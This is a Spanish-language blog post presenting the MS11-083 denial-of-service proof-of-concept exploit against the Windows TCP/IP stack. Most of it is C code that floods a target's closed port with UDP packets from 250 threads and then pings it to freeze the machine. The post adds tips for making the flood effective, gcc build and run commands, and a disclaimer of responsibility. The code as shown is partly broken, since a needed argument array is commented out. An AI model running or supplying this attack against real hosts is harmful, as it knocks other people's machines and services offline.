MS11-083 DoS/PoC exploit

Bueno, existe un PoC sobre un bug en sistemas windows*, que lo afecta de forma remota, y fue llamado el exploit de chuck norris, dado que solo el puede explotar un puerto cerrado, y es lo que hace este codigo, aunque no lo parezca. Ya fue parcheado, por la gente que posee servidores y pc hogareñas con licencia o bien crackeados, da lo mismo, el que no lo parcheo, le recomiendo que lo haga.
El efecto que produce es congelar la PC remota.
Consejos: Usen una conexion buena, por cable no wifi, y con un ancho de subida grande, sino los payload saturan la red, el codigo sigue corriendo y llena la ram como consecuencia.
Un video demostracion, y luego el codigo y como compilarlo en sistemas GNU/Linux claro.

Codigo:

* MS11-083 DoS/PoC exploit

* ========================

* This attempts to trigger the ICMP refCount overflow  

* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 

* requires sending 2^32 UDP packets to a host on a closed

* port, or 4,294,967,296 packets. A dereference function

* must be called that is not triggered via UDP but ICMP  

* echo packets. This exploit creates 250 threads and 

* floods a host with UDP packets and then attempts to

* trigger the de-ref using ping. I calculated that it

* would take approximately 52 days for the host to 

* enter a condition where this vulnerability is 

* triggerable. 

*

* -- prdelka 

*/

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <sys/time.h>

int port;

int active = 0;

pthread_mutex_t mutexactive;

void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {

      pthread_t thread;

      int iret,lthreads;

pid_t pid;

printf("[+] MS11-083 DoS/PoC exploit\n");

if(argc<3){

printf("[!] Usage : %s <server> <port>\n", argv[0]);

exit(1);

}

//char *const args[] = {"ping","-c","1",argv[1],NULL};

char *const envp[] = {"",NULL};

port = atoi(argv[2]);

for(lthreads=0;lthreads<250;lthreads++){//UDP flood 250

iret = pthread_create(&thread,NULL,sendpackets,argv[1]);

printf("[-] Thread number %d started\n",lthreads);

sleep(1);

}

printf("[-] One does not simply barrel roll into Mordor\n");

while(active){

pid = fork();

if(pid==0){// trigger deref.

execve("/sbin/ping",args,envp);

};

sleep(15);

}

printf("[-] You are finished. Patience is a virtue.\n");

exit(0);

}

void *sendpackets(void *ptr)

{

int sd, rc, n, echoLen, flags, error, timeOut;

unsigned long i;

struct sockaddr_in remoteServAddr;

struct hostent *h;

char str[41];

pthread_mutex_lock(&mutexactive);

active++;

pthread_mutex_unlock(&mutexactive);

    srand(time(NULL));

    for (i = 0;i < 40;++i){

str[i] = (char)((rand() % 78) + 30);

    }

    str[40] = '\0'; // yes this was off-by-one. :(

printf("[-] Sending payload '%s'\n",str);

  h = gethostbyname(ptr);

if(h==NULL) {

    printf("unknown host '%s' \n",(char*)ptr);

    exit(1);

  }

remoteServAddr.sin_family = h->h_addrtype;

memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);

remoteServAddr.sin_port = htons(port);

sd = socket(AF_INET,SOCK_DGRAM,0);

if(sd<0){

printf("[!] Cannot open socket\n");

pthread_exit((void*)0);

}

flags = 0;

for(i=0;i<4294967295;i++){

rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));

if(rc<0){

printf("[!] Cannot send data\n");

      close(sd);

pthread_exit((void*)0);

    }

}

pthread_mutex_lock(&mutexactive);

active--;

pthread_mutex_unlock(&mutexactive);

pthread_exit(NULL);

}

Salvan eso como, win.c por ej, abren una terminal, tipean:

# gcc -o win_nuke win.c -lpthread

#./win_nuke IP port

Recuerden que debe ser un puerto cerrado.

Saludos.

PD: No me hago responsable por el mal uso que se haga de este codigo, el uso del mismo queda bajo responsabilidad de cada usuario que lo compile y use, desligando de toda responsabilidad al autor de este blog.